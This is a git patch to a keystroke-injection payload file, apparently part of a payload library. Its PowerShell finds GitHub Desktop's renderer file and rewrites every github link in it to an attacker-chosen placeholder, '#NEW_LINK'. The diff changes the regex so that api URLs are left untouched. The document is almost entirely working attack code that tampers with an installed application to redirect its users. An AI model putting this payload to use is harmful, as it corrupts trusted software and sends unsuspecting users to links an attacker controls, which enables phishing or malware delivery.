From 6e3f5924c02c008718beabe31e375113d68c0196 Mon Sep 17 00:00:00 2001 From: Alessandro Greco Date: Mon, 16 Sep 2024 14:43:00 +0200 Subject: [PATCH] Update payload.txt --- .../execution/Replace_Links_In_GithubDesktop/payload.txt | 3 ++- 1 file changed, 2 insertions(+), 1 deletion(-) diff --git a/payloads/library/execution/Replace_Links_In_GithubDesktop/payload.txt b/payloads/library/execution/Replace_Links_In_GithubDesktop/payload.txt index baf34d5..a76977e 100644 --- a/payloads/library/execution/Replace_Links_In_GithubDesktop/payload.txt +++ b/payloads/library/execution/Replace_Links_In_GithubDesktop/payload.txt @@ -95,7 +95,8 @@ STRINGLN $filePath = "$latestFolderPath$renderer" $fileContent = Get-Content $filePath - $regex = [regex]'"(https:\/\/[\w\d\.\/\-]*github[\w\d\.\/\-]+)"' + $regex = [regex]'(https:\/\/(?![\w\d\.\/\-]*api)[\w\d\.\/\-]*github[\w\d\.\/\-]+) +' $modifiedContent = $fileContent -replace $regex, '#NEW_LINK' Set-Content -Path $filePath -Value $modifiedContent